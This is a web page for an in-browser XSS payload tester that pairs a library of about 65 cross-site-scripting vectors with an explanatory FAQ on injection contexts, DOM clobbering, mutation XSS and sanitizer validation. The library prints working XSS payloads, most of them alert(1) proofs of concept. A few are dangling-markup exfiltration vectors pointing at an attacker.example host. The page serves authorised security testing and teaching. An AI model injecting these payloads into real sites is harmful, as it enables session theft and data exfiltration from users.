XSS Payload Tester
Browse 65 documented XSS vectors β event handlers, SVG, DOM clobbering, mXSS, CSTI, polyglots and filter-evasion encodings β then run any of them in four sandboxed iframes to see exactly which injection contexts execute, which are blocked by CSP, and which just throw.
Authorised testing only. Every payload here is a documented, public proof-of-concept that does nothing but prove code execution. Run them against systems you own or have written permission to test β a bug-bounty scope, a signed penetration-test Rules of Engagement, a CTF, or your own staging environment. Unauthorised testing is a criminal offence in most jurisdictions (US CFAA, UK Computer Misuse Act, EU Cybercrime Directive).
Runs entirely in your browser. Payloads execute inside sandbox="allow-scripts" iframes at an opaque origin β never allow-same-origin β under a default-src 'none' Content-Security-Policy, so a payload cannot reach this page's DOM, cookies or storage and cannot make a single network request. Nothing you type is uploaded.
Payload library71 of 71 vectors
<script>alert(1)</script><script src=data:text/javascript,alert(1)></script><script>eval(atob('YWxlcnQoMSk='))</script><script>Function('alert(1)')()</script><script>setTimeout('alert(1)',0)</script><img src=x onerror=alert(1)><body onload=alert(1)><details open ontoggle=alert(1)><input autofocus onfocus=alert(1)><select autofocus onfocus=alert(1)><option>1</option></select><textarea autofocus onfocus=alert(1)></textarea><marquee onstart=alert(1)>x</marquee><video><source onerror=alert(1)></video><audio src=x onerror=alert(1)><iframe onload=alert(1)></iframe><div onpointerover=alert(1)>hover me</div><div style="height:100vh" onmouseover=alert(1)>x</div>" autofocus onfocus=alert(1) x="' autofocus onfocus=alert(1) x='x autofocus onfocus=alert(1)"><img src=x onerror=alert(1)>'-alert(1)-'\';alert(1);//</script><script>alert(1)</script>javascript:alert(1)<a href="javascript:alert(1)">click me</a><iframe src="javascript:alert(1)"></iframe><form action="javascript:alert(1)"><button>submit</button></form>data:text/html,<script>alert(1)</script><svg><script>alert(1)</script></svg><svg onload=alert(1)><svg/onload=alert(1)><svg><animate onbegin=alert(1) attributeName=x dur=1s></svg><svg><a xlink:href="javascript:alert(1)"><text x=20 y=20>click</text></a></svg><svg><foreignObject><iframe srcdoc="<script>alert(1)</script>"></iframe></foreignObject></svg><form><input name=attributes></form><img name=getElementById src=x><a id=x></a><a id=x name=length></a><a id=cfg href="https://evil.example/#alert(1)"></a>{{7*7}}{{constructor.constructor('alert(1)')()}}{{$on.constructor('alert(1)')()}}{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}{{_c.constructor('alert(1)')()}}${alert(1)}<noscript><p title="</noscript><img src=x onerror=alert(1)>"><math><mtext><style><img src=x onerror=alert(1)></style></mtext></math><svg></p><style><a id="</style><img src=x onerror=alert(1)>"><form><math><mtext></form><form><mglyph><svg><mtext><textarea><a title="</textarea><img src=x onerror=alert(1)>"><math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>"><img src='https://attacker.example/log?<table background='//attacker.example/?<textarea name=x><base href="https://attacker.example/"><meta http-equiv="refresh" content="0;url=javascript:alert(1)"><iframe srcdoc="<script>alert(1)</script>"></iframe><object data="data:text/html,<script>alert(1)</script>"></object>javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(1)//'>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e-->'"/></sCript><deTailS open x=">" ontoggle=(alert)(1)><scr<script>ipt>alert(1)</scr</script>ipt><ScRiPt>alert(1)</ScRiPt><img src=x onerror=alert(1)><a href="jav	ascript:alert(1)">click</a><scriβpt>alert(1)</scriβpt><img src=x onerror=alert(1)><img src=x onerror="aler
t(1)"><img src=x onerror=alert(1)><script>\u0061lert(1)</script>%3Cscript%3Ealert(1)%3C%2Fscript%3E%253Cscript%253Ealert(1)%253C%252Fscript%253ESandbox β all four injection contexts at once
The same payload is injected into HTML text, a quoted attribute, a JavaScript string and a URL attribute, each in its own locked-down iframe. Hover, focus and click are simulated automatically, so "no execution" means the payload really did not run β not that nobody moved the mouse.
<script>alert(1)</script>Creates a script element. Executes wherever the markup is parsed as a document (document.write, srcdoc, server-side reflection) β note innerHTML parses script elements but never runs them.
alert, confirm, prompt and console.log (real dialogs are suppressed in sandboxed frames) and also accepts an explicit parent.postMessage({type:'xss-fired'}) signal. A securitypolicyviolation event reports as "blocked", and a window error event reports as "script error" β never as a successful injection.Sandbox policy:
default-src 'none'; script-src 'unsafe-inline' 'unsafe-eval' data:; style-src 'unsafe-inline'; img-src data:; frame-src data: about:; child-src data: about:; form-action 'none'Test your own payload
"Analyze" compares six deliberately naive filters against DOMPurify, the production-grade parser-based sanitizer. DOMPurify is imported dynamically, so it is only downloaded when you press the button.
Quick Security Best Practices
Show
- Always validate and sanitize user input on the server side
- Use Content Security Policy (CSP) headers to prevent inline script execution
- Encode output based on context (HTML, attribute, JavaScript, URL)
- Use modern frameworks with built-in XSS protection
- Regularly update dependencies and security patches
- Implement proper authentication and authorization
About XSS Payload Tester
The XSS Payload Tester pairs a categorised library of 65 documented cross-site-scripting vectors with a sandbox that actually executes them. Pick a payload and it is injected into four different sinks at once β HTML text, a quoted attribute value, a JavaScript string literal and a URL attribute β each inside its own iframe running at an opaque origin under a default-src 'none' Content-Security-Policy. Every frame reports one of three distinct outcomes: the payload executed, the sandbox CSP blocked it (naming the directive), or the script threw an error and did not execute.
Why use a XSS Payload Tester?
Most XSS testers treat any JavaScript error as a successful injection, so a malformed or blocked payload still lights up a red 'XSS fired' banner β which teaches you the wrong thing about your defences. This tool separates the three outcomes explicitly: execution is proved by proxied alert/confirm/prompt calls and an explicit postMessage channel, blocking is proved by the securitypolicyviolation event, and errors are proved by the window error event. It also scores severity from the payload's mechanism (script element, event handler, URL scheme, DOM clobbering, template injection) rather than by searching the string for the word 'alert'.
Who is it for?
Application security engineers validating a sanitizer or CSP, developers who have just been handed an XSS finding and need to understand which sink is actually vulnerable, penetration testers assembling context-appropriate payloads, CTF players, and anyone teaching web security who needs a demonstration that cannot escape its sandbox.
How to use the tool
Read the authorisation notice first: only run these vectors against systems you own or have written permission to test.
Browse or search the payload library β filter by category (event handlers, SVG, DOM clobbering, mXSS, CSTI, polyglots, filter evasion) or search by name, payload text or the defence that stops it.
Press 'Run in sandbox' on any entry, or paste your own payload into 'Test your own payload' and press 'Run in the four sandboxes'.
Read the four per-context cells: each shows the injected sink, the predicted outcome with its reason, and the outcome actually observed inside the iframe.
Distinguish the three verdicts β red 'Executed' means real code execution, blue 'Blocked by sandbox CSP' names the directive that stopped it, amber 'Script error' means the payload threw and did not run.
Press 'Re-run' to execute the same payload again after changing it, which remounts all four iframes with fresh documents.
Press 'Analyze against sanitizers' to compare six deliberately naive filters with DOMPurify and see exactly what each leaves behind.
Copy the payload or the sanitized output with the per-row copy buttons, then re-test the same vector against your own application's sanitizer, output encoder and CSP.
Frequently Asked Questions
How do I test an XSS payload safely?
Run it somewhere it cannot reach anything that matters. This tool executes every payload inside an iframe with sandbox="allow-scripts" and deliberately no allow-same-origin, so the payload runs at an opaque origin with no access to this page's DOM, cookies or storage. A meta Content-Security-Policy of default-src 'none' inside the frame means it cannot make a single network request, and form-action 'none' closes the last submission path. Every vector in the library is an alert()-class proof of concept: it proves code execution and does nothing else. Pick a payload, press Run, and read the four per-context verdicts.
What's the difference between 'executed', 'blocked by CSP' and 'script error'?
They are three completely different results that most testers collapse into one. 'Executed' means the payload really ran β proved by a proxied alert, confirm, prompt or console.log call, or by an explicit parent.postMessage({type:'xss-fired'}) from inside the frame. 'Blocked by sandbox CSP' means the browser fired a securitypolicyviolation event and names the directive that stopped it, which is evidence that a policy works. 'Script error' means the window error event fired: the payload threw instead of running, so it did not succeed. Treating a script error as a successful injection is the single most common false positive in XSS tooling.
Why doesn't <script>alert(1)</script> fire when I assign it to innerHTML?
Because HTML specifies that script elements inserted via innerHTML are parsed but never executed. The element appears in the DOM with its source intact and nothing runs. This trips up developers who conclude their innerHTML sink is safe β it is not. Event-handler vectors such as <img src=x onerror=alert(1)> or <svg onload=alert(1)> do execute through innerHTML, because the handler is compiled when the attribute is parsed. That is exactly why the event-handler category, not the script-tag category, is the one to test an innerHTML sink with. Script tags matter for document.write, srcdoc, server-side reflection and DOMParser-then-adopt patterns.
What's the difference between reflected, stored and DOM XSS?
Reflected XSS travels in a URL or POST parameter and is echoed straight back into the response; the victim has to open a crafted link. Stored XSS is persisted server-side β a comment, a profile field, a filename β and then runs for every visitor of the affected page, which makes it far more damaging. DOM XSS never involves the server's output at all: client-side JavaScript reads an attacker-controlled source (location.hash, postMessage data, a URL parameter) and writes it to a dangerous sink (innerHTML, document.write, eval, jQuery's $()). The payloads are the same; only the delivery path and therefore the fix location differ.
What is DOM clobbering β those payloads contain no script at all?
DOM clobbering exploits the legacy rule that elements with an id or name become properties of document and window. Inject <form><input name=attributes></form> and the form's own attributes property is shadowed by the input; inject <img name=getElementById> and document.getElementById is an image element rather than a function. No script executes, so a sanitizer test that only watches for alert() reports success β yet application code that reads window.config or document.getElementById now receives attacker-controlled objects, which is frequently enough to reach a script sink. DOMPurify's SANITIZE_DOM and SANITIZE_NAMED_PROPS options exist specifically for this class.
What is mutation XSS (mXSS) and why does my sanitizer miss it?
mXSS exploits markup that the HTML parser interprets one way on the first parse and a different way on the second. A sanitizer parses your input, decides it is safe, and serialises it back to a string; the browser then re-parses that string into a different tree that contains an executable element. The classic shapes involve namespace boundaries β MathML mtext, SVG foreignObject, mglyph, noscript β and table foster-parenting. This is why sanitising with regular expressions is hopeless and why even DOMPurify ships periodic mXSS fixes: the vectors in the mXSS category here are real reported bypasses, so keep your sanitizer patched.
How do I use this tool to validate my own sanitizer and CSP?
Work vector by vector. Copy a payload, submit it through your real application, then compare what your sanitizer stored or rendered with what the library says should defeat it β every entry names the specific defence. Then check your CSP: if a script-tag vector executes on your page, your policy is missing 'nonce' or allows 'unsafe-inline'; if a base-href or object vector works, you are missing base-uri 'self' and object-src 'none'. Press 'Analyze against sanitizers' to see the same payload run through six naive filters and through DOMPurify, which makes it obvious why allowlist parsing beats blocklist stripping.
How do I actually fix an XSS once I've found one?
Encode on output, in the context the value lands in β HTML text, attribute value, JavaScript string and URL each need a different encoding, which is what the four sandbox cells illustrate. Prefer framework defaults (React's {value}, Vue's text interpolation, template auto-escaping) over hand-rolled escaping, and never sanitise by deleting substrings. Where HTML really must be allowed, run it through DOMPurify and keep it updated. Layer a strict CSP with nonces, object-src 'none' and base-uri 'self' underneath. The defensive counterpart to this tool is the [User Input Sanitizer Tester](/tools/user-input-sanitizer-tester/), and the [HTML Encoder / Decoder](/tools/html-encoder-decoder/) shows what correct entity encoding produces.
Share This Tool
Found this tool helpful? Share it with others who might benefit from it!
π‘ Help others discover useful tools! Sharing helps us keep these tools free and accessible to everyone.